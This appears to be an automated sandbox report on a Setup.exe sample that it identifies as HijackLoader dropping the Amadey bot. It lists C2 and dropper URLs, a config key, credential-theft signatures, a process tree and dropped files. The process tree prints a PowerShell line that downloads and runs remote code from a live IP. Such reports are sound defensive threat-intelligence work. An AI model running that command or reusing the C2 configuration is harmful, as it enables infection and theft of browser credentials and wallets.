Analysis

  • max time kernel
    298s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250619-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2025, 15:00

General

  • Target
    Setup.exe
  • Size 6.3MB
  • Sample251025-sdlftsew4c
  • SHA256 bd9f45337c13bcbd25151f8a06c8894990c7800a905ca1e53480e4d4c7eb7936
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • hijackloader

Attributes
  • directory

    %ALLUSERSPROFILE%\frameworknotepad

  • inject_dll

    %windir%\SysWOW64\rasapi32.dll

xor.hex

Extracted

Family
  • amadey

Version
  • 5.64

Botnet
  • 74a65b

C2
  • http://mi.overlapsnowbound.com

Attributes
  • install_dir

    2d44bacc67

  • install_file

    Ahdvfzkeyo.exe

  • strings_key

    c03135dc90dd4923dc1d82a56dc86dab

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Program crash 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:4304
    • C:\Users\Admin\AppData\Local\WaEmulator64.exe
      C:\Users\Admin\AppData\Local\WaEmulator64.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4548
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1492
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1488
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:3960
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:4840
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:2680
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:3388
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:1876
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:3612
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2712
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • Badlisted process makes network request
                    • System Location Discovery: System Language Discovery
                    PID:3972
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:3644
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 740
                      4⤵
                      • Program crash
                      PID:3672
                  • C:\Users\Admin\cb.exe\Statio.exe
                    C:\Users\Admin\cb.exe\Statio.exe
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:4092
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:1224
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:1008
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 200 -p 3644 -ip 3644
                    1⤵
                      PID:4408

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          1A99AAC.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\1A99AAC.tmp
                          • Size 40B
                          • SHA256 159427d53bb61f10ca8af3dca6b3203e724c43f3aa6e0a973f5c10fd9eaad6c3
                          • MD5 SHA1 SHA512

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 1c8a2f2c8aa8bee5e673b7689c1ec11b66abadb03c284074e1d9148fcd6937e6
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 1fdea60c1201df4d67e1d0502f7cc243aeb128a8acfdb0af76afabd6ed1cc621
                          • MD5 SHA1 SHA512 SSDEEP

                          DAC70DA.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\DAC70DA.tmp
                          • Size 2.6MB
                          • SHA256 87daac8197c0b22df50d036d08fa52280d7ae74cd771a083de3be6bb32decd0a
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 bb923abf471bb79086ff9ace293602e1ad882d9af7946dda17ff1c3a7e19f45b
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 130KB
                          • SHA256 7b5fac6df0d8e93099f4e1a2302c7c8f12e1f194f21704993cf8d3aa8a9d1724
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 3a07b3003758a79a574aa73032076567870389751f2a959537257070da3a10d8
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_xvv1wgus.t4w.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xvv1wgus.t4w.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          WaEmulator64.exe

                          • Path C:\Users\Admin\AppData\Local\WaEmulator64.exe
                          • Size 1.6MB
                          • SHA256 c8a1ec1b919f9e760a1a434e4c8e3db33f8c541739c94860132902a509dd0f6a
                          • MD5 SHA1 SHA512 SSDEEP

                          Flundfreb.ftex

                          • Path C:\Users\Admin\cb.exe\Flundfreb.ftex
                          • Size 3.3MB
                          • SHA256 f5bd5d76902cc66e613ef67a86e0fef496b88b1f4db6bdc407d7c5001d1a1312
                          • MD5 SHA1 SHA512 SSDEEP

                          Mait.hsx

                          • Path C:\Users\Admin\cb.exe\Mait.hsx
                          • Size 30KB
                          • SHA256 2aba93e44ec058952351c337d44667d2ee57bd56718c635461dce962d325c625
                          • MD5 SHA1 SHA512 SSDEEP

                          OSPPC.DLL

                          • Path C:\Users\Admin\cb.exe\OSPPC.DLL
                          • Size 145KB
                          • SHA256 34538a1ca44bdd0022bca5dd191787c368fcc4cc775e580c0a6ad0ff5a598354
                          • MD5 SHA1 SHA512 SSDEEP

                          Statio.exe

                          • Path C:\Users\Admin\cb.exe\Statio.exe
                          • Size 49KB
                          • SHA256 abd5308ec6b01b8ada0f2b83a2e1585502cac9e00170edb22332a7c1d96d58d3
                          • MD5 SHA1 SHA512 SSDEEP

                          VCRUNTIME140.dll

                          • Path C:\Users\Admin\cb.exe\VCRUNTIME140.dll
                          • Size 95KB
                          • SHA256 475ab98b7722e965bd38c8fa6ed23502309582ccf294ff1061cb290c7988f0d1
                          • MD5 SHA1 SHA512 SSDEEP

                          jli.dll

                          • Path C:\Users\Admin\cb.exe\jli.dll
                          • Size 83KB
                          • SHA256 00531c7c28c5a550be05659cfe7943a044798a942273ae4469148e826cdfddd6
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/1488-33-0x0000029B91B80000-0x0000029B91B82000-memory.dmp

                          memory/1492-32-0x00000213B8B50000-0x00000213B8B52000-memory.dmp

                          memory/1876-46-0x000001B3A36F0000-0x000001B3A36F2000-memory.dmp

                          memory/2680-40-0x0000010F6BC00000-0x0000010F6BC02000-memory.dmp

                          memory/2712-54-0x0000000004E20000-0x0000000005448000-memory.dmp

                          memory/2712-53-0x0000000002660000-0x0000000002696000-memory.dmp

                          memory/2712-105-0x000000000D200000-0x000000000D7A4000-memory.dmp

                          memory/2712-62-0x0000000005530000-0x0000000005596000-memory.dmp

                          memory/2712-104-0x000000000BAE0000-0x000000000BB02000-memory.dmp

                          memory/2712-103-0x000000000CBB0000-0x000000000CC46000-memory.dmp

                          memory/2712-102-0x0000000074730000-0x0000000074EE0000-memory.dmp

                          memory/2712-60-0x0000000004CA0000-0x0000000004CC2000-memory.dmp

                          memory/2712-96-0x0000000006150000-0x000000000616A000-memory.dmp

                          memory/2712-95-0x00000000072C0000-0x000000000793A000-memory.dmp

                          memory/2712-68-0x00000000055A0000-0x00000000058F4000-memory.dmp

                          memory/2712-79-0x0000000005C20000-0x0000000005C3E000-memory.dmp

                          memory/2712-80-0x0000000005CB0000-0x0000000005CFC000-memory.dmp

                          memory/2712-61-0x00000000054C0000-0x0000000005526000-memory.dmp

                          memory/3388-43-0x0000016DC5F20000-0x0000016DC5F22000-memory.dmp

                          memory/3612-49-0x000001D3DC510000-0x000001D3DC512000-memory.dmp

                          memory/3644-77-0x0000000003D00000-0x0000000004310000-memory.dmp

                          memory/3644-76-0x0000000003D00000-0x0000000004310000-memory.dmp

                          memory/3644-72-0x0000000003D00000-0x0000000004310000-memory.dmp

                          memory/3644-78-0x0000000003D00000-0x0000000004310000-memory.dmp

                          memory/3644-71-0x0000000001750000-0x0000000001753000-memory.dmp

                          memory/3960-34-0x000002207E020000-0x000002207E022000-memory.dmp

                          memory/3972-109-0x0000000000400000-0x000000000046F000-memory.dmp

                          memory/3972-57-0x00000000015C0000-0x0000000001612000-memory.dmp

                          memory/3972-55-0x0000000001320000-0x0000000001323000-memory.dmp

                          memory/4092-101-0x00007FFF7FFF0000-0x00007FFF800F2000-memory.dmp

                          memory/4304-0-0x00000000030A0000-0x000000000319E000-memory.dmp

                          memory/4304-19-0x0000000073F80000-0x0000000074063000-memory.dmp

                          memory/4304-17-0x0000000073F80000-0x0000000074063000-memory.dmp

                          memory/4304-16-0x0000000073F96000-0x0000000073F98000-memory.dmp

                          memory/4304-2-0x0000000073F80000-0x0000000074063000-memory.dmp

                          memory/4304-29-0x0000000073F80000-0x0000000074063000-memory.dmp

                          memory/4304-3-0x00007FFF9DD70000-0x00007FFF9DF65000-memory.dmp

                          memory/4548-52-0x0000000000600000-0x000000000063C000-memory.dmp

                          memory/4548-98-0x0000000000600000-0x000000000063C000-memory.dmp

                          memory/4548-28-0x0000000000600000-0x000000000063C000-memory.dmp

                          memory/4548-21-0x0000000000600000-0x000000000063C000-memory.dmp

                          memory/4548-27-0x00007FFF9DD70000-0x00007FFF9DF65000-memory.dmp

                          memory/4548-31-0x0000000000600000-0x000000000063C000-memory.dmp

                          memory/4548-23-0x0000000000600000-0x000000000063C000-memory.dmp

                          memory/4840-37-0x0000018143DC0000-0x0000018143DC2000-memory.dmp